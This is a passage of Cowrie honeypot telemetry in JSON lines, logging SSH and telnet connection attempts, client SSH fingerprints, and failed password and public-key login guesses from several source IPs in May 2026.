f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:41:59.764518Z","src_ip":"190.85.41.170","session":"e935f42fb3f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"warnight","password":"warnight","message":"login attempt [warnight/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:42:00.217418Z","src_ip":"190.85.41.170","session":"e935f42fb3f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:42:03.482754Z","src_ip":"190.85.41.170","session":"e935f42fb3f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":31472,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc66df511638","protocol":"ssh","message":"New connection: 141.11.21.145:31472 (159.203.135.109:22) [session: dc66df511638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:42:10.402395Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:42:10.483044Z","src_ip":"141.11.21.145","session":"dc66df511638","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":31482,"dst_ip":"159.203.135.109","dst_port":22,"session":"f56d1760f97a","protocol":"ssh","message":"New connection: 141.11.21.145:31482 (159.203.135.109:22) [session: f56d1760f97a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:42:10.553724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:42:10.558985Z","src_ip":"141.11.21.145","session":"f56d1760f97a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:42:10.637628Z","src_ip":"141.11.21.145","session":"f56d1760f97a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:42:10.864770Z","src_ip":"141.11.21.145","session":"f56d1760f97a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:42:11.943231Z","src_ip":"141.11.21.145","session":"f56d1760f97a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":58886,"dst_ip":"159.203.135.109","dst_port":22,"session":"97218ff6f734","protocol":"ssh","message":"New connection: 45.123.110.70:58886 (159.203.135.109:22) [session: 97218ff6f734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:42:46.014497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:42:46.019441Z","src_ip":"45.123.110.70","session":"97218ff6f734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:42:46.257665Z","src_ip":"45.123.110.70","session":"97218ff6f734","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:42:47.275212Z","src_ip":"45.123.110.70","session":"97218ff6f734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:42:48.512498Z","src_ip":"45.123.110.70","session":"97218ff6f734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":57240,"dst_ip":"10.17.0.5","dst_port":23,"session":"66221b6a2225","protocol":"telnet","message":"New connection: 167.71.238.254:57240 (10.17.0.5:23) [session: 66221b6a2225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:43:35.983868Z"}
{"eventid":"cowrie.session.closed","duration":21.24222207069397,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:43:57.225988Z","src_ip":"167.71.238.254","session":"66221b6a2225","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":52946,"dst_ip":"159.203.135.109","dst_port":22,"session":"74efa713fb1f","protocol":"ssh","message":"New connection: 190.85.41.170:52946 (159.203.135.109:22) [session: 74efa713fb1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:44:05.093018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:44:05.098255Z","src_ip":"190.85.41.170","session":"74efa713fb1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:44:05.175703Z","src_ip":"190.85.41.170","session":"74efa713fb1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1123","message":"login attempt [user1/user1123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:44:05.504929Z","src_ip":"190.85.41.170","session":"74efa713fb1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:44:06.583340Z","src_ip":"190.85.41.170","session":"74efa713fb1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":29206,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a41f375a605","protocol":"ssh","message":"New connection: 45.123.110.70:29206 (159.203.135.109:22) [session: 8a41f375a605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:44:16.540635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:44:16.545704Z","src_ip":"45.123.110.70","session":"8a41f375a605","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:44:16.780264Z","src_ip":"45.123.110.70","session":"8a41f375a605","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"50p0rt3","message":"login attempt [root/50p0rt3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:44:17.749361Z","src_ip":"45.123.110.70","session":"8a41f375a605","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:44:18.988337Z","src_ip":"45.123.110.70","session":"8a41f375a605","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":48988,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fd2e7282949","protocol":"telnet","message":"New connection: 167.71.238.254:48988 (10.17.0.5:23) [session: 0fd2e7282949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:44:58.571136Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.226.19","src_port":52762,"dst_ip":"159.203.135.109","dst_port":23,"session":"872fb5b49936","protocol":"telnet","message":"New connection: 185.242.226.19:52762 (159.203.135.109:23) [session: 872fb5b49936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:05.938623Z"}
{"eventid":"cowrie.session.closed","duration":9.914852142333984,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:15.853372Z","src_ip":"185.242.226.19","session":"872fb5b49936","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":23.25642681121826,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:21.827445Z","src_ip":"167.71.238.254","session":"0fd2e7282949","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":35938,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f403fccd743","protocol":"ssh","message":"New connection: 190.85.41.170:35938 (159.203.135.109:22) [session: 5f403fccd743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:27.320021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:27.324774Z","src_ip":"190.85.41.170","session":"5f403fccd743","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:27.399096Z","src_ip":"190.85.41.170","session":"5f403fccd743","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kevin","message":"login attempt [root/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:27.726170Z","src_ip":"190.85.41.170","session":"5f403fccd743","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:28.805481Z","src_ip":"190.85.41.170","session":"5f403fccd743","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.11.57.172","src_port":51178,"dst_ip":"10.17.0.5","dst_port":22,"session":"808f87a30b9f","protocol":"ssh","message":"New connection: 45.11.57.172:51178 (10.17.0.5:22) [session: 808f87a30b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:41.889834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:41.894866Z","src_ip":"45.11.57.172","session":"808f87a30b9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:42.034777Z","src_ip":"45.11.57.172","session":"808f87a30b9f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:df:f8:84:5b:80:3e:b1:d5:23:fe:20:e2:31:57:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIpktGwWcDIAv8nA790reAwQXpyktYnwDu0xnauyc0IZRyp+d4WuX1xqlXpBmUBrXvCfTNs/Fu+b1k/i3BhcwzlvyLTchFri1Rz/8AVwOsE23biSVTArVqMHsvW3+mYXh+43hsPvZYEc7JlErorpzBYx1hJzqeDeQP6eLcGgGhngYXtVBvHrYSoWaJwwG54X0H0VQissQc4UUPymkWCrMid71UX2ATlqu7AOZYmr632sQluMebQ0v6QmTgLwGmP5rVGq818Di9MgkuYwGofxTEzAG220mrT8Z2cW0rYiqsG/MipZpaltloudTyuuVHM53QfvuSE0xJWxeE2t5q/+Zj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:df:f8:84:5b:80:3e:b1:d5:23:fe:20:e2:31:57:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:42.709576Z","src_ip":"45.11.57.172","session":"808f87a30b9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:df:f8:84:5b:80:3e:b1:d5:23:fe:20:e2:31:57:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIpktGwWcDIAv8nA790reAwQXpyktYnwDu0xnauyc0IZRyp+d4WuX1xqlXpBmUBrXvCfTNs/Fu+b1k/i3BhcwzlvyLTchFri1Rz/8AVwOsE23biSVTArVqMHsvW3+mYXh+43hsPvZYEc7JlErorpzBYx1hJzqeDeQP6eLcGgGhngYXtVBvHrYSoWaJwwG54X0H0VQissQc4UUPymkWCrMid71UX2ATlqu7AOZYmr632sQluMebQ0v6QmTgLwGmP5rVGq818Di9MgkuYwGofxTEzAG220mrT8Z2cW0rYiqsG/MipZpaltloudTyuuVHM53QfvuSE0xJWxeE2t5q/+Zj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:42.713966Z","src_ip":"45.11.57.172","session":"808f87a30b9f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:72:95:9d:b5:e4:6f:3b:40:b6:e9:74:ed:ce:0e:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDe/kSlETIc/w/8UfSroUUDG8PmIe0QnU/jXO88F0qAkR5WiOt5tiV1yYlI2puP/C5Y+D5cGvJgM7ALdrlk3Dqqck8ReKWz+Lt3PLrFNmxMEMsve32m3CzbMk+Y4GapRs1JCFqxadzKIStwV1C8fI+16K1K1FP3SCNIs8Txea2XieFtCWyz8GhIcbTpgYicMSW4OHWUnmLyvd43YHKwNaGMZoFByfFy8Yrm8hbEOLJzp1xQcUNpuSaHjP/eq83aN8NO7tzkh9T1snxobyUMOS1g1AY+Ux+BYqS1eS7tqcjkbjgfHsVvGBB8qjeb8+5M7VrtmmB51C80GRDn8NGCA+mMa8APZgifSxI2B+w87yGDqa5KG2fcZGPgVzanMJnZ/BQl0SrU0OszvjN2KqsE5dnka3Z3C2Gth2+d/ziNeJM1HGkIDxQQMnxXmRaC4hf4z5JR05XgAVrTGNL4ak9s2IbB1l1BCLVUejN657VznLdkUsDBGiKtTFF6LgvdVZlcIHWb4+rxIVU5gYzPsfPJk4dILlHFWS/Hbkoa/sACvEkunNw1DD7jeWZuCUTAZ3TR0WJfAA5fwoBiyBYMqcL9EXh1d4e4o8D3vl+5ESTmSgSigg2NO0+yVF9W74iKu/HQfyMjTBTcpLeMBU7UO6rog76C9u/9glqSN5dVVx4TvJ83TQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:72:95:9d:b5:e4:6f:3b:40:b6:e9:74:ed:ce:0e:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:45:42.854553Z","src_ip":"45.11.57.172","session":"808f87a30b9f","protocol":"ssh"}
